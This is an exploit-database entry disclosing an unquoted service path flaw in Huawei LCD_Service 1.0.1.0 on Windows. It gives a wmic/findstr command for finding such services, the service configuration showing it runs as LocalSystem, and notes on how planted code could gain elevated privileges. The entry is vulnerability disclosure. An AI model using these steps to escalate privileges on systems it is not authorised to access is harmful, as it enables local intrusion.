LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path

Author: Gerardo González
type: local
platform: windows
port: 
date_added: 2020-11-17  
date_updated: 2020-11-17  
verified: 0  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 49066.txt  

# Exploit Title: Huawei LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path
# Date: 2020-11-07
# Exploit Author: Gerardo González
# Vendor Homepage: https://consumer.huawei.com/mx
# Software Link: https://consumer.huawei.com/mx
# Version: 1.0.1.0
# Tested on: Windows 10 Home Single Language x64 Esp

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

# Service info:

Huawei LCD_Service   LCD_Service    C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe     Auto

C:\Users\gerar>sc qc "LCD_Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LCD_Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Huawei LCD_Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.